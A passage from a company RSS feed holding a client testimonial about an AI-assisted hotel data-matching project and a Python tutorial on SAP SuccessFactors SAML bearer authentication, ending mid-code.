                <description><![CDATA[<p>Neural Brothers is a sister company of MTR Design, established by our CEO and MTR Design's team of AI specialists, dedicated for projects that require implementing artificial intelligence techniques. In this case study the owner of <a href="http://www.skoosh.com/" target="_blank" rel="noopener noreferrer">Skoosh.com</a> tells about the challenges his business was facing and how the solutions, developed by our team, improved the Skoosh system's productivity dramatically, allowing their business to grow exponentially. After implementing our automated review system, the Skoosh product pool grew more than ten times, while the manpower needed to maintain the data was reduced from one year for every 70 000 items, to about 3 days for every 100 000 items.</p>]]></description>
                <content:encoded><![CDATA[<h3>Challenges and Project Objectives</h3>
<p>Matching hotels data supplied though multiple sources has long been one of the toughest challenges in the industry. Apart from the difficulties of comparing across languages, the data provided is regularly patchy and riddled with errors.</p>
<p>At Skoosh, we worked on this project for nearly 2 years, dedicating senior members of both the product and I.T. departments before we finally accepted an in-house solution was not possible. At a certain point, every update to our algorithm was producing as many queries as it was resolving.</p>
<p>When we took this project to Neural Brothers the requirements we gave them was an automated solution which matched as much data as possible plus an interface to review and manually match the remainder.</p>
<h3>The Solution</h3>
<p>Believing that the multiple connections between the data were core we took the project to a number of specialists in the area of neural science. Many were excited by the scale and challenge of the project and wanted to start immediately. Neural Brothers was the only company that took the time to understand everything Skoosh had tried up to that point and to explain to us exactly what was possible.</p>
<blockquote>
<p>Neural Brothers/MTR Design have played a significant part in the evolution of Skoosh and we look forward to working with them again wherever possible.<br /><strong>&mdash; Dorian Harris, Owner at Skoosh</strong></p>
</blockquote>
<p>After extensive dialogue, Neural Brothers assured Skoosh that an entirely automated solution was impossible because even a manual review of the data wouldn't be sufficient without reference to other sources of information (websites, calling the hotels directly and so on). Instead they offered to develop and algorithm to highlight all the likely matches and a simple interface through which to manual review the matches.</p>
<p>Neural Brothers developed both the algorithm and the interface but the project didn't stop there. As we started to work on the interface we realized it would be ideal if the external checks we were making onto Google Maps and the hotels' websites could be built into the interface. Neural Brothers were happy to assist with each new development and they added each one so the interface grew to incorporate more than we originally planned for.</p>
<h3>The Results</h3>
<p>There were no Skoosh developers involved until the data was finally integrated back into our back-office. At this point the two teams started a dialogue and the Skoosh guys highly respected the Neural Brothers managers and developers knowledge and confidence.</p>
<p>The resulting interface is so simple to use that we have managed to outsource the manual matching, something we tried before on our in-house system with very poor results. It allows for a much easier review of data and mistakes have been minimized as a result.</p>
<p>Less than a month after the new data was launched the results of this project are beginning to show with a significant increase of previously untapped hotels beginning to sell.</p>
<p>One of the most impressive things about working with Neural Brothers was their ability to estimate time-frames and associated costs. I had never experienced that before and it took a lot of stress out of the project.</p>
<p>I would highly recommend Neural Brothers to anyone with similar projects in mind. They confidently told us from the outset what was possible. We have previously worked on countless I.T. projects at Skoosh and their level of professionalism is exceptional.</p>
<p>Neural Brothers have played a significant part in the evolution of Skoosh and we look forward to working with them again wherever possible.</p>]]></content:encoded>
            </item>
                    <item>
                <title>SAP SuccessFactors SAML Authentication in Python</title>
                <link>https://mtr-design.com/news/sap-successfactors-saml</link>
                <guid>https://mtr-design.com/news/sap-successfactors-saml</guid>
                <pubDate>Mon, 01 Sep 2014 12:00:00 +0000</pubDate>
                <dc:creator>Hristo Deshev</dc:creator>
                <description><![CDATA[<p>The SuccessFactors API gives us access to any data entity in the system with an easy to use interface. And I really mean easy -- the coolest thing about it is that it is based on the OData standard. OData is both simple to use in ad-hoc requests and there are a lot of client libraries out there that can make building queries easier. I usually prefer the former approach.</p>]]></description>
                <content:encoded><![CDATA[<p>The OData specification does not specify an authentication and authorization mechanism, and the SuccessFactors team has decided to embrace another popular standard: OAuth 2.0 using the SAML bearer assertion flow. The SFSF SAML authentication story is not too different than the <a href="/news/sap-jam-saml-authentication-using-python/">Jam one</a>, but it has its own quirks. In a way it could be a lot easier to use SAML assertions with SuccessFactors, but that comes with a price - there is an associated security risk that I will help you avoid by doing some extra work.</p>
<p>The plan for this guide:</p>
<ul>
<li>Configuring SuccessFactors for OAuth authentication.</li>
<li>Generating SAML assertions: ** Using the SFSF API. ** Using our own XML-signing code.</li>
<li>Obtaining an access token.</li>
<li>Authenticating OData requests.</li>
</ul>
<h2>OAuth Access Configuration</h2>
<p>Unlike Jam, when working with SuccessFactors authentication, all you need to do is configure an OAuth client application. SFSF is smart enough to use it as an identity provider if you configure an X.509 certificate for your application.</p>
<p>Registering the application goes as following:</p>
<ul>
<li>Generate a RSA key pair and export your public key as a X.509 certificate. Use the <code>generate_keys.sh</code> tool and consult <a href="/news/sap-jam-saml-authentication-using-python/">the Jam SAML article</a> if you get stuck.</li>
<li>Go to the SFSF AdminTools page and add a new OAuth client. Paste your X.509 certificate body in the textbox:</li>
</ul>
<p><img title="OAuth settings" src="https://raw.githubusercontent.com/mtrdesign/python-saml-example/master/doc/img/sf-oauth-client-settings.png" alt="OAuth settings" width="600" height="388" /></p>
<p>&nbsp;</p>
<p>Note: OpenSSL-generated certificates contain <code>-----BEGIN CERTIFICATE-----</code>/<code>-----END CERTIFICATE-----</code> text guards in their first and last lines respectively. The SuccessFactors admin seems to choke on those, so you need to remove the first and last lines. Just select the certificate body between those lines and paste it in the textbox above.</p>
<h2>Generating the SAML assertion</h2>
<p>There are two ways you can generate a SuccessFactors SAML assertion:</p>
<ul>
<li>By using the SFSF assertion API.</li>
<li>By generating it and signing it yourself.</li>
</ul>
<p>I'd like to take the moment and give you a warning against using the assertion API in production. First, there is the performance side of the story -- there is an extra server roundtrip involved every time you authenticate against the server which can get slow.</p>
<p>Even more important here are the security implications. In order to generate and sign a SAML assertion, the server needs access to your&nbsp;<em>private</em>&nbsp;key. Read that again -- you will be giving out your private key to someone else. That doesn't sit too well with me. I'd recommend that you try the API a couple of times to get a hold on the generated assertion document and then start generating that yourself.</p>
<h3>Using the SuccessFactors Assertion API</h3>
<p>With the above warning in place, let's get started talking to the assertion API. We need to issue a HTTP POST request to the&nbsp;<code>/oauth/idp</code>&nbsp;resource and pass the OAuth client id, our authenticated user ID, the access token generation URL (used as the next authentication step), and our specially formatted private key.</p>
<pre style="box-sizing: border-box; font-family: Consolas, 'Liberation Mono', Menlo, Courier, monospace; font-size: 13.6000003814697px; margin-bottom: 0px; padding: 16px; line-height: 1.45; border-top-left-radius: 3px; border-top-right-radius: 3px; border-bottom-right-radius: 3px; border-bottom-left-radius: 3px; word-wrap: normal; word-break: normal; background-color: #f7f7f7;"><span style="box-sizing: border-box; font-weight: bold;">def</span> <span style="box-sizing: border-box; color: #990000; font-weight: bold;">get_assertion_from_sf</span><span style="box-sizing: border-box;">(</span><span style="box-sizing: border-box; color: #999999;">self</span><span style="box-sizing: border-box;">):</span>
    <span style="box-sizing: border-box; color: #dd1144;">"""</span>
<span style="box-sizing: border-box; color: #dd1144;">    Send our private key to the SFSF IdP API and let it generate an assertion for us.</span>
<span style="box-sizing: border-box; color: #dd1144;">    Not ideal and incurs an additional API roundtrip. Use only for testing/debugging purposes.</span>
<span style="box-sizing: border-box; color: #dd1144;">    """</span>
    <span style="box-sizing: border-box; color: #333333;">user_id</span> <span style="box-sizing: border-box; font-weight: bold;">=</span> <span style="box-sizing: border-box; color: #999999;">self</span><span style="box-sizing: border-box; font-weight: bold;">.</span><span style="box-sizing: border-box; color: #333333;">sf_user_id</span>
    <span style="box-sizing: border-box; font-weight: bold;">with</span> <span style="box-sizing: border-box; color: #0086b3;">open</span><span style="box-sizing: border-box;">(</span><span style="box-sizing: border-box; color: #999999;">self</span><span style="box-sizing: border-box; font-weight: bold;">.</span><span style="box-sizing: border-box; color: #333333;">private_key</span><span style="box-sizing: border-box;">)</span> <span style="box-sizing: border-box; font-weight: bold;">as</span> <span style="box-sizing: border-box; color: #333333;">key_file</span><span style="box-sizing: border-box;">:</span>
        <span style="box-sizing: border-box; color: #999988; font-style: italic;"># remove ---BEGIN/---END lines (first and last)</span>
        <span style="box-sizing: border-box; color: #999988; font-style: italic;"># strip whitespace and squash everything on a single line</span>
        <span style="box-sizing: border-box; color: #333333;">flattened_key</span> <span style="box-sizing: border-box; font-weight: bold;">=</span> <span style="box-sizing: border-box; color: #dd1144;">''</span><span style="box-sizing: border-box; font-weight: bold;">.</span><span style="box-sizing: border-box; color: #333333;">join</span><span style="box-sizing: border-box;">([</span><span style="box-sizing: border-box; color: #333333;">l</span><span style="box-sizing: border-box; font-weight: bold;">.</span><span style="box-sizing: border-box; color: #333333;">strip</span><span style="box-sizing: border-box;">()</span> <span style="box-sizing: border-box; font-weight: bold;">for</span> <span style="box-sizing: border-box; color: #333333;">l</span> <span style="box-sizing: border-box; font-weight: bold;">in</span> <span style="box-sizing: border-box; color: #333333;">key_file</span><span style="box-sizing: border-box; font-weight: bold;">.</span><span style="box-sizing: border-box; color: #333333;">readlines</span><span style="box-sizing: border-box;">()[</span><span style="box-sizing: border-box; color: #009999;">1</span><span style="box-sizing: border-box;">:</span><span style="box-sizing: border-box; font-weight: bold;">-</span><span style="box-sizing: border-box; color: #009999;">1</span><span style="box-sizing: border-box;">]])</span>

    <span style="box-sizing: border-box; color: #333333;">assertion_request</span> <span style="box-sizing: border-box; font-weight: bold;">=</span> <span style="box-sizing: border-box; color: #0086b3;">dict</span><span style="box-sizing: border-box;">(</span>
        <span style="box-sizing: border-box; color: #333333;">client_id</span><span style="box-sizing: border-box; font-weight: bold;">=</span><span style="box-sizing: border-box; color: #999999;">self</span><span style="box-sizing: border-box; font-weight: bold;">.</span><span style="box-sizing: border-box; color: #333333;">oauth_client_id</span><span style="box-sizing: border-box;">,</span>
        <span style="box-sizing: border-box; color: #333333;">user_id</span><span style="box-sizing: border-box; font-weight: bold;">=</span><span style="box-sizing: border-box; color: #333333;">user_id</span><span style="box-sizing: border-box;">,</span>
        <span style="box-sizing: border-box; color: #333333;">token_url</span><span style="box-sizing: border-box; font-weight: bold;">=</span><span style="box-sizing: border-box; color: #999999;">self</span><span style="box-sizing: border-box; font-weight: bold;">.</span><span style="box-sizing: border-box; color: #333333;">odata_url</span><span style="box-sizing: border-box;">,</span>
        <span style="box-sizing: border-box; color: #333333;">private_key</span><span style="box-sizing: border-box; font-weight: bold;">=</span><span style="box-sizing: border-box; color: #333333;">flattened_key</span><span style="box-sizing: border-box;">,</span>
    <span style="box-sizing: border-box;">)</span>
    <span style="box-sizing: border-box; color: #333333;">response</span> <span style="box-sizing: border-box; font-weight: bold;">=</span> <span style="box-sizing: border-box; color: #333333;">requests</span><span style="box-sizing: border-box; font-weight: bold;">.</span><span style="box-sizing: border-box; color: #333333;">post</span><span style="box-sizing: border-box;">(</span><span style="box-sizing: border-box; color: #999999;">self</span><span style="box-sizing: border-box; font-weight: bold;">.</span><span style="box-sizing: border-box; color: #333333;">idp_url</span><span style="box-sizing: border-box;">,</span> <span style="box-sizing: border-box; color: #333333;">data</span><span style="box-sizing: border-box; font-weight: bold;">=</span><span style="box-sizing: border-box; color: #333333;">assertion_request</span><span style="box-sizing: border-box;">)</span>
    <span style="box-sizing: border-box; color: #333333;">response</span><span style="box-sizing: border-box; font-weight: bold;">.</span><span style="box-sizing: border-box; color: #333333;">raise_for_status</span><span style="box-sizing: border-box;">()</span>
    <span style="box-sizing: border-box; font-weight: bold;">return</span> <span style="box-sizing: border-box; color: #333333;">response</span><span style="box-sizing: border-box; font-weight: bold;">.</span><span style="box-sizing: border-box; color: #333333;">content</span></pre>
<p>Note the key "flattening" logic above. We need to get rid of our first and last lines (containing the -----BEGIN RSA PRIVATE KEY-----/-----END RSA PRIVATE KEY----- markers), strip whitespace and squash everything in a single line.</p>
<p>The assertion we get back is a single-line base64-encoded XML document that we can just pass to the access code API (see below).</p>
<h3>Generating an Assertion Ourselves</h3>
<p>A quick base64-decode on the SAML document we get from the API above can show us how we can generate such a document ourselves. Here are the data items we need:</p>
<ul>
<li>The recipient URL -- set to the SFSF OData URL.</li>
<li>The SAML audience string -- hardcoded to <code>www.successfactors.com</code>.</li>
<li>The authenticated user ID.</li>
<li>The OAuth application client ID.</li>
<li>A session id that doesn't matter too much. We hardcode it to <code>mocksession</code>.</li>
<li>Some timestamps: authentication instant and expiration times.</li>
</ul>
<p>And now the XML template:</p>
<pre style="box-sizing: border-box; font-family: Consolas, 'Liberation Mono', Menlo, Courier, monospace; font-size: 13.6000003814697px; margin-bottom: 0px; padding: 16px; line-height: 1.45; border-top-left-radius: 3px; border-top-right-radius: 3px; border-bottom-right-radius: 3px; border-bottom-left-radius: 3px; word-wrap: normal; word-break: normal; background-color: #f7f7f7;"><span style="box-sizing: border-box; color: navy;">&lt;saml2:Assertion</span>
<span style="box-sizing: border-box; color: teal;">IssueInstant=</span><span style="box-sizing: border-box; color: #dd1144;">"{issue_instant}"</span> <span style="box-sizing: border-box; color: teal;">Version=</span><span style="box-sizing: border-box; color: #dd1144;">"2.0"</span>
<span style="box-sizing: border-box; color: teal;">xmlns:saml2=</span><span style="box-sizing: border-box; color: #dd1144;">"urn:oasis:names:tc:SAML:2.0:assertion"</span>
<span style="box-sizing: border-box; color: teal;">xmlns:xs=</span><span style="box-sizing: border-box; color: #dd1144;">"http://www.w3.org/2001/XMLSchema"</span>
<span style="box-sizing: border-box; color: teal;">xmlns:xsi=</span><span style="box-sizing: border-box; color: #dd1144;">"http://www.w3.org/2001/XMLSchema-instance"</span><span style="box-sizing: border-box; color: navy;">&gt;</span>
  <span style="box-sizing: border-box; color: navy;">&lt;saml2:Issuer&gt;</span>{client_id}<span style="box-sizing: border-box; color: navy;">&lt;/saml2:Issuer&gt;</span>
  <span style="box-sizing: border-box; color: navy;">&lt;saml2:Subject&gt;</span>
    <span style="box-sizing: border-box; color: navy;">&lt;saml2:NameID</span> <span style="box-sizing: border-box; color: teal;">Format=</span><span style="box-sizing: border-box; color: #dd1144;">"urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified"</span><span style="box-sizing: border-box; color: navy;">&gt;</span>{user_id}<span style="box-sizing: border-box; color: navy;">&lt;/saml2:NameID&gt;</span>
    <span style="box-sizing: border-box; color: navy;">&lt;saml2:SubjectConfirmation</span> <span style="box-sizing: border-box; color: teal;">Method=</span><span style="box-sizing: border-box; color: #dd1144;">"urn:oasis:names:tc:SAML:2.0:cm:bearer"</span><span style="box-sizing: border-box; color: navy;">&gt;</span>

      <span style="box-sizing: border-box; color: navy;">&lt;saml2:SubjectConfirmationData</span> <span style="box-sizing: border-box; color: teal;">NotOnOrAfter=</span><span style="box-sizing: border-box; color: #dd1144;">"{not_valid_after}"</span>
      <span style="box-sizing: border-box; color: teal;">Recipient=</span><span style="box-sizing: border-box; color: #dd1144;">"{sf_root_url}/odata/v2"</span> <span style="box-sizing: border-box; color: navy;">/&gt;</span>
    <span style="box-sizing: border-box; color: navy;">&lt;/saml2:SubjectConfirmation&gt;</span>
  <span style="box-sizing: border-box; color: navy;">&lt;/saml2:Subject&gt;</span>
  <span style="box-sizing: border-box; color: navy;">&lt;saml2:Conditions</span> <span style="box-sizing: border-box; color: teal;">NotBefore=</span><span style="box-sizing: border-box; color: #dd1144;">"{not_valid_before}"</span>
  <span style="box-sizing: border-box; color: teal;">NotOnOrAfter=</span><span style="box-sizing: border-box; color: #dd1144;">"{not_valid_after}"</span><span style="box-sizing: border-box; color: navy;">&gt;</span>
    <span style="box-sizing: border-box; color: navy;">&lt;saml2:AudienceRestriction&gt;</span>
      <span style="box-sizing: border-box; color: navy;">&lt;saml2:Audience&gt;</span>{audience}<span style="box-sizing: border-box; color: navy;">&lt;/saml2:Audience&gt;</span>
    <span style="box-sizing: border-box; color: navy;">&lt;/saml2:AudienceRestriction&gt;</span>
  <span style="box-sizing: border-box; color: navy;">&lt;/saml2:Conditions&gt;</span>
  <span style="box-sizing: border-box; color: navy;">&lt;saml2:AuthnStatement</span> <span style="box-sizing: border-box; color: teal;">AuthnInstant=</span><span style="box-sizing: border-box; color: #dd1144;">"{issue_instant}"</span>
  <span style="box-sizing: border-box; color: teal;">SessionIndex=</span><span style="box-sizing: border-box; color: #dd1144;">"{session_id}"</span><span style="box-sizing: border-box; color: navy;">&gt;</span>
    <span style="box-sizing: border-box; color: navy;">&lt;saml2:AuthnContext&gt;</span>
      <span style="box-sizing: border-box; color: navy;">&lt;saml2:AuthnContextClassRef&gt;</span>
      urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport<span style="box-sizing: border-box; color: navy;">&lt;/saml2:AuthnContextClassRef&gt;</span>
    <span style="box-sizing: border-box; color: navy;">&lt;/saml2:AuthnContext&gt;</span>
  <span style="box-sizing: border-box; color: navy;">&lt;/saml2:AuthnStatement&gt;</span>
  <span style="box-sizing: border-box; color: navy;">&lt;Signature</span> <span style="box-sizing: border-box; color: teal;">xmlns=</span><span style="box-sizing: border-box; color: #dd1144;">"http://www.w3.org/2000/09/xmldsig#"</span><span style="box-sizing: border-box; color: navy;">&gt;</span>
    <span style="box-sizing: border-box; color: navy;">&lt;SignedInfo&gt;</span>
      <span style="box-sizing: border-box; color: navy;">&lt;CanonicalizationMethod</span> <span style="box-sizing: border-box; color: teal;">Algorithm=</span><span style="box-sizing: border-box; color: #dd1144;">"http://www.w3.org/TR/2001/REC-xml-c14n-20010315"</span> <span style="box-sizing: border-box; color: navy;">/&gt;</span>
      <span style="box-sizing: border-box; color: navy;">&lt;SignatureMethod</span> <span style="box-sizing: border-box; color: teal;">Algorithm=</span><span style="box-sizing: border-box; color: #dd1144;">"http://www.w3.org/2000/09/xmldsig#rsa-sha1"</span> <span style="box-sizing: border-box; color: navy;">/&gt;</span>
      <span style="box-sizing: border-box; color: navy;">&lt;Reference</span> <span style="box-sizing: border-box; color: teal;">URI=</span><span style="box-sizing: border-box; color: #dd1144;">""</span><span style="box-sizing: border-box; color: navy;">&gt;</span>
        <span style="box-sizing: border-box; color: navy;">&lt;Transforms&gt;</span>
          <span style="box-sizing: border-box; color: navy;">&lt;Transform</span> <span style="box-sizing: border-box; color: teal;">Algorithm=</span><span style="box-sizing: border-box; color: #dd1144;">"http://www.w3.org/2000/09/xmldsig#enveloped-signature"</span> <span style="box-sizing: border-box; color: navy;">/&gt;</span>
        <span style="box-sizing: border-box; color: navy;">&lt;/Transforms&gt;</span>
        <span style="box-sizing: border-box; color: navy;">&lt;DigestMethod</span> <span style="box-sizing: border-box; color: teal;">Algorithm=</span><span style="box-sizing: border-box; color: #dd1144;">"http://www.w3.org/2000/09/xmldsig#sha1"</span> <span style="box-sizing: border-box; color: navy;">/&gt;</span>
        <span style="box-sizing: border-box; color: navy;">&lt;DigestValue&gt;&lt;/DigestValue&gt;</span>
      <span style="box-sizing: border-box; color: navy;">&lt;/Reference&gt;</span>
    <span style="box-sizing: border-box; color: navy;">&lt;/SignedInfo&gt;</span>
    <span style="box-sizing: border-box; color: navy;">&lt;SignatureValue/&gt;</span>
  <span style="box-sizing: border-box; color: navy;">&lt;/Signature&gt;</span>
<span style="box-sizing: border-box; color: navy;">&lt;/saml2:Assertion&gt;</span></pre>
<p>We can now use an approach similar to the one used when generating and signing Jam assertions:</p>
<pre style="box-sizing: border-box; font-family: Consolas, 'Liberation Mono', Menlo, Courier, monospace; font-size: 13.6000003814697px; margin-bottom: 0px; padding: 16px; line-height: 1.45; border-top-left-radius: 3px; border-top-right-radius: 3px; border-bottom-right-radius: 3px; border-bottom-left-radius: 3px; word-wrap: normal; word-break: normal; background-color: #f7f7f7;"><span style="box-sizing: border-box; font-weight: bold;">def</span> <span style="box-sizing: border-box; color: #990000; font-weight: bold;">get_local_assertion</span><span style="box-sizing: border-box;">(</span><span style="box-sizing: border-box; color: #999999;">self</span><span style="box-sizing: border-box;">):</span>
    <span style="box-sizing: border-box; color: #dd1144;">"""</span>
<span style="box-sizing: border-box; color: #dd1144;">    Generate and sign the SAML assertion ourselves.</span>
<span style="box-sizing: border-box; color: #dd1144;">    """</span>
    <span style="box-sizing: border-box; color: #333333;">user_id</span> <span style="box-sizing: border-box; font-weight: bold;">=</span> <span style="box-sizing: border-box; color: #999999;">self</span><span style="box-sizing: border-box; font-weight: bold;">.</span><span style="box-sizing: border-box; color: #333333;">sf_user_id</span>

    <span style="box-sizing: border-box; color: #333333;">unsigned_assertion</span> <span style="box-sizing: border-box; font-weight: bold;">=</span> <span style="box-sizing: border-box; color: #333333;">sf_saml</span><span style="box-sizing: border-box; font-weight: bold;">.</span><span style="box-sizing: border-box; color: #333333;">generate_assertion</span><span style="box-sizing: border-box;">(</span>
        <span style="box-sizing: border-box; color: #333333;">sf_root_url</span><span style="box-sizing: border-box; font-weight: bold;">=</span><span style="box-sizing: border-box; color: #999999;">self</span><span style="box-sizing: border-box; font-weight: bold;">.</span><span style="box-sizing: border-box; color: #333333;">server_url</span><span style="box-sizing: border-box;">,</span>
        <span style="box-sizing: border-box; color: #333333;">user_id</span><span style="box-sizing: border-box; font-weight: bold;">=</span><span style="box-sizing: border-box; color: #333333;">user_id</span><span style="box-sizing: border-box;">,</span>
        <span style="box-sizing: border-box; color: #333333;">client_id</span><span style="box-sizing: border-box; font-weight: bold;">=</span><span style="box-sizing: border-box; color: #999999;">self</span><span style="box-sizing: border-box; font-weight: bold;">.</span><span style="box-sizing: border-box; color: #333333;">oauth_client_id</span>
    <span style="box-sizing: border-box;">)</span>
    <span style="box-sizing: border-box; color: #333333;">signed</span> <span style="box-sizing: border-box; font-weight: bold;">=</span> <span style="box-sizing: border-box; color: #333333;">sf_saml</span><span style="box-sizing: border-box; font-weight: bold;">.</span><span style="box-sizing: border-box; color: #333333;">sign_assertion</span><span style="box-sizing: border-box;">(</span><span style="box-sizing: border-box; color: #333333;">unsigned_assertion</span><span style="box-sizing: border-box;">,</span> <span style="box-sizing: border-box; color: #999999;">self</span><span style="box-sizing: border-box; font-weight: bold;">.</span><span style="box-sizing: border-box; color: #333333;">private_key</span><span style="box-sizing: border-box;">)</span>
    <span style="box-sizing: border-box; font-weight: bold;">return</span> <span style="box-sizing: border-box; color: #333333;">signed</span><span style="box-sizing: border-box; font-weight: bold;">.</span><span style="box-sizing: border-box; color: #333333;">encode</span><span style="box-sizing: border-box;">(</span><span style="box-sizing: border-box; color: #dd1144;">'base64'</span><span style="box-sizing: border-box;">)</span><span style="box-sizing: border-box; font-weight: bold;">.</span><span style="box-sizing: border-box; color: #333333;">replace</span><span style="box-sizing: border-box;">(</span><span style="box-sizing: border-box; color: #dd1144;">'</span><span style="box-sizing: border-box; color: #dd1144;">\n</span><span style="box-sizing: border-box; color: #dd1144;">'</span><span style="box-sizing: border-box;">,</span> <span style="box-sizing: border-box; color: #dd1144;">''</span><span style="box-sizing: border-box;">)</span></pre>
<p>The <code>sf_saml</code> module takes care of generating and signing assertions and is very similar to the code we used to handle <a href="/news/sap-jam-saml-authentication-using-python/">Jam assertions</a>.</p>
<p>Note that at the end of the function above we still need to base64-encode our signed XML and squash it into a single line.</p>
<h2>Obtaining an Access Token</h2>
<p>Armed with our assertion, we can now ask for an access token using a HTTP POST request against<code>/oauth/token</code>. The only thing worth mentioning here is that we need to pass a&nbsp;<code>grant_type</code>parameter of&nbsp;<code>urn:ietf:params:oauth:grant-type:saml2-bearer</code>&nbsp;and include our OAuth client ID, our company ID and the assertion as well.</p>
<pre style="box-sizing: border-box; font-family: Consolas, 'Liberation Mono', Menlo, Courier, monospace; font-size: 13.6000003814697px; margin-bottom: 0px; padding: 16px; line-height: 1.45; border-top-left-radius: 3px; border-top-right-radius: 3px; border-bottom-right-radius: 3px; border-bottom-left-radius: 3px; word-wrap: normal; word-break: normal; background-color: #f7f7f7;"><span style="box-sizing: border-box; font-weight: bold;">def</span> <span style="box-sizing: border-box; color: #990000; font-weight: bold;">get_access_token</span><span style="box-sizing: border-box;">(</span><span style="box-sizing: border-box; color: #999999;">self</span><span style="box-sizing: border-box;">,</span> <span style="box-sizing: border-box; color: #333333;">assertion</span><span style="box-sizing: border-box; font-weight: bold;">=</span><span style="box-sizing: border-box; color: #999999;">None</span><span style="box-sizing: border-box;">):</span>
    <span style="box-sizing: border-box; font-weight: bold;">if</span> <span style="box-sizing: border-box; font-weight: bold;">not</span> <span style="box-sizing: border-box; color: #333333;">assertion</span><span style="box-sizing: border-box;">:</span>
        <span style="box-sizing: border-box; color: #333333;">assertion</span> <span style="box-sizing: border-box; font-weight: bold;">=</span> <span style="box-sizing: border-box; color: #999999;">self</span><span style="box-sizing: border-box; font-weight: bold;">.</span><span style="box-sizing: border-box; color: #333333;">get_local_assertion</span><span style="box-sizing: border-box;">()</span>

    <span style="box-sizing: border-box; color: #333333;">token_request</span> <span style="box-sizing: border-box; font-weight: bold;">=</span> <span style="box-sizing: border-box; color: #0086b3;">dict</span><span style="box-sizing: border-box;">(</span>
        <span style="box-sizing: border-box; color: #333333;">client_id</span><span style="box-sizing: border-box; font-weight: bold;">=</span><span style="box-sizing: border-box; color: #999999;">self</span><span style="box-sizing: border-box; font-weight: bold;">.</span><span style="box-sizing: border-box; color: #333333;">oauth_client_id</span><span style="box-sizing: border-box;">,</span>
        <span style="box-sizing: border-box; color: #333333;">company_id</span><span style="box-sizing: border-box; font-weight: bold;">=</span><span style="box-sizing: border-box; color: #999999;">self</span><span style="box-sizing: border-box; font-weight: bold;">.</span><span style="box-sizing: border-box; color: #333333;">company_id</span><span style="box-sizing: border-box;">,</span>
        <span style="box-sizing: border-box; color: #333333;">grant_type</span><span style="box-sizing: border-box; font-weight: bold;">=</span><span style="box-sizing: border-box; color: #dd1144;">'urn:ietf:params:oauth:grant-type:saml2-bearer'</span><span style="box-sizing: border-box;">,</span>
        <span style="box-sizing: border-box; color: #333333;">assertion</span><span style="box-sizing: border-box; font-weight: bold;">=</span><span style="box-sizing: border-box; color: #333333;">assertion</span>
    <span style="box-sizing: border-box;">)</span>
    <span style="box-sizing: border-box; color: #333333;">response</span> <span style="box-sizing: border-box; font-weight: bold;">=</span> <span style="box-sizing: border-box; color: #333333;">requests</span><span style="box-sizing: border-box; font-weight: bold;">.</span><span style="box-sizing: border-box; color: #333333;">post</span><span style="box-sizing: border-box;">(</span><span style="box-sizing: border-box; color: #999999;">self</span><span style="box-sizing: border-box; font-weight: bold;">.</span><span style="box-sizing: border-box; color: #333333;">access_token_url</span><span style="box-sizing: border-box;">,</span> <span style="box-sizing: border-box; color: #333333;">data</span><span style="box-sizing: border-box; font-weight: bold;">=</span><span style="box-sizing: border-box; color: #333333;">token_request</span><span style="box-sizing: border-box;">)</span>
    <span style="box-sizing: border-box; color: #333333;">token_data</span> <span style="box-sizing: border-box; font-weight: bold;">=</span> <span style="box-sizing: border-box; color: #333333;">response</span><span style="box-sizing: border-box; font-weight: bold;">.</span><span style="box-sizing: border-box; color: #333333;">json</span><span style="box-sizing: border-box;">()</span>
    <span style="box-sizing: border-box; font-weight: bold;">return</span> <span style="box-sizing: border-box;">(</span><span style="box-sizing: border-box; color: #333333;">token_data</span><span style="box-sizing: border-box;">[</span><span style="box-sizing: border-box; color: #dd1144;">'access_token'</span><span style="box-sizing: border-box;">],</span> <span style="box-sizing: border-box; color: #333333;">token_data</span><span style="box-sizing: border-box;">[</span><span style="box-sizing: border-box; color: #dd1144;">'expires_in'</span><span style="box-sizing: border-box;">])</span></pre>
<h2>Token Authentication for OData Requests</h2>
<p>Having gotten an access token, we can now issue OData requests. All we need is to pass the token via the&nbsp;<code>Authorization</code>&nbsp;HTTP header:</p>
<p>headers["authorization"] = 'Bearer {}'.format(self.access_token)</p>
<p>A minor detail above that needs mentioning: the token needs to be prefixed with the&nbsp;<code>Bearer</code>&nbsp;string to indicate its type.</p>
<p>We can now pack everything together in a single&nbsp;<code>SFSession</code>&nbsp;class that wraps the "requests"<code>get</code>/<code>post</code>&nbsp;API and calls our SFSF server. Here is an example that fetches our user details:</p>
<pre style="box-sizing: border-box; font-family: Consolas, 'Liberation Mono', Menlo, Courier, monospace; font-size: 13.6000003814697px; margin-bottom: 0px; padding: 16px; line-height: 1.45; border-top-left-radius: 3px; border-top-right-radius: 3px; border-bottom-right-radius: 3px; border-bottom-left-radius: 3px; word-wrap: normal; word-break: normal; background-color: #f7f7f7;"><span style="box-sizing: border-box; color: #333333;">SF_URL</span> <span style="box-sizing: border-box; font-weight: bold;">=</span> <span style="box-sizing: border-box; color: #333333;">os</span><span style="box-sizing: border-box; font-weight: bold;">.</span><span style="box-sizing: border-box; color: #333333;">getenv</span><span style="box-sizing: border-box;">(</span><span style="box-sizing: border-box; color: #dd1144;">'SF_URL'</span><span style="box-sizing: border-box;">)</span>
<span style="box-sizing: border-box; color: #333333;">SF_SAML_PRIVATE_KEY</span> <span style="box-sizing: border-box; font-weight: bold;">=</span> <span style="box-sizing: border-box; color: #dd1144;">'sf-private.pem'</span>
<span style="box-sizing: border-box; color: #333333;">SF_USER</span> <span style="box-sizing: border-box; font-weight: bold;">=</span> <span style="box-sizing: border-box; color: #333333;">sys</span><span style="box-sizing: border-box; font-weight: bold;">.</span><span style="box-sizing: border-box; color: #333333;">argv</span><span style="box-sizing: border-box;">[</span><span style="box-sizing: border-box; color: #009999;">1</span><span style="box-sizing: border-box;">]</span>
<span style="box-sizing: border-box; color: #333333;">SF_COMPANY_ID</span> <span style="box-sizing: border-box; font-weight: bold;">=</span> <span style="box-sizing: border-box; color: #333333;">os</span><span style="box-sizing: border-box; font-weight: bold;">.</span><span style="box-sizing: border-box; color: #333333;">getenv</span><span style="box-sizing: border-box;">(</span><span style="box-sizing: border-box; color: #dd1144;">'SF_COMPANY_ID'</span><span style="box-sizing: border-box;">)</span>
